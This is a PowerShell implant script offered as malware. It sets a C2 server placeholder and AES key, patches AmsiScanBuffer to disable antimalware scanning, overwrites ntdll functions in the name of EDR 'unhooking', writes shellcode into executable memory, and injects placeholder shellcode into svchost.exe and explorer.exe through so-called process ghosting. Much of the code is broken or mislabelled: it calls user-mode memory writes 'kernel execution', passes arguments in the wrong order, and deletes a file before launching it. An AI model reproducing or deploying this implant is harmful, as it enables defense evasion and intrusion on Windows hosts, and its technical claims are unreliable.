implant.ps1

# ======================== [ CONFIGURATION ] ========================
$C2_SERVER = "https://your-server.com"
$AES_KEY = "16_byte_secure_key!"  # 16-byte AES Key
$AES_IV = "16_byte_secure_iv!"  # 16-byte AES IV

# ======================== [ AMSI & EDR Hook Unhooking + Kernel Direct Execution ] ========================
function Bypass-Detection {
    $ASM = @"
    using System;
    using System.Runtime.InteropServices;
    public class Syscalls {
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref UIntPtr NumberOfBytesToProtect, uint NewAccessProtection, out uint OldAccessProtection);
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref UIntPtr RegionSize, uint ZeroBits, uint AllocationType, uint Protect);
        [DllImport("ntdll.dll", SetLastError = true)]
        public static extern int NtLoadDriver(IntPtr DriverServiceName);
        [DllImport("kernel32.dll")]
        public static extern IntPtr LoadLibrary(string lpFileName);
        [DllImport("kernel32.dll")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
    }
"@
    Add-Type -TypeDefinition $ASM -Language CSharp

    # Reload NTDLL for Unhooking
    $ntdll = [Syscalls]::LoadLibrary("ntdll.dll")
    $functions = @("NtOpenProcess", "NtWriteVirtualMemory", "NtQueueApcThread", "NtAllocateVirtualMemory", "NtLoadDriver")

    foreach ($func in $functions) {
        $addr = [Syscalls]::GetProcAddress($ntdll, $func)
        $OldProtect = 0
        [Syscalls]::NtProtectVirtualMemory(-1, [ref]$addr, [UIntPtr]::New(8), 0x40, [ref]$OldProtect)
        [System.Runtime.InteropServices.Marshal]::WriteByte($addr, 0xC3)  # Overwrite function with a RET (return) opcode
    }
}

# ======================== [ Kernel Direct Execution via NtAllocateVirtualMemory ] ========================
function Kernel-Execute {
    param ([byte[]]$Payload)
    $BaseAddress = [IntPtr]::Zero
    $RegionSize = [UIntPtr]::New($Payload.Length)
    [Syscalls]::NtAllocateVirtualMemory(-1, [ref]$BaseAddress, [UIntPtr]::Zero, $RegionSize, 0x3000, 0x40)
    [System.Runtime.InteropServices.Marshal]::Copy($Payload, 0, $BaseAddress, $Payload.Length)
    [System.Runtime.InteropServices.Marshal]::WriteByte($BaseAddress, 0xC3)  # Executable Payload
}

# ======================== [ AMSI Hooking & Windows Defender Memory Patch ] ========================
function Patch-AMSI {
    $AmsiAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([Syscalls]::GetProcAddress([Syscalls]::LoadLibrary("amsi.dll"), "AmsiScanBuffer"), [Func[IntPtr, IntPtr, UIntPtr, UInt32, IntPtr, Int32]])
    [System.Runtime.InteropServices.Marshal]::WriteByte($AmsiAddr, 0xC3)
}

# ======================== [ Process Ghosting for EDR Evasion ] ========================
function Process-Ghosting {
    param ([string]$ProcessPath, [byte[]]$Payload)
    $TempPath = "$env:TEMP\ghosted.exe"
    Copy-Item -Path $ProcessPath -Destination $TempPath -Force
    Start-Sleep -Seconds 1
    Remove-Item -Path $TempPath -Force  # Delete File After Execution

    $Process = Start-Process -FilePath $TempPath -PassThru
    Start-Sleep -Seconds 1

    $hProcess = [System.Diagnostics.Process]::Start($Process).Handle
    $Ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Payload.Length)
    [System.Runtime.InteropServices.Marshal]::Copy($Payload, 0, $Ptr, $Payload.Length)
    [Syscalls]::NtProtectVirtualMemory($hProcess, [ref]$Ptr, [UIntPtr]::New($Payload.Length), 0x40, [ref]$OldProtect)
}

# ======================== [ EXECUTION & ACTIVATION ] ========================
Bypass-Detection
Patch-AMSI
Kernel-Execute -Payload ([Convert]::FromBase64String("your-kernel-shellcode-here"))
Process-Ghosting -ProcessPath "C:\Windows\System32\svchost.exe" -Payload ([Convert]::FromBase64String("your-shellcode-here"))
Process-Ghosting -ProcessPath "C:\Windows\explorer.exe" -Payload ([Convert]::FromBase64String("your-shellcode-here"))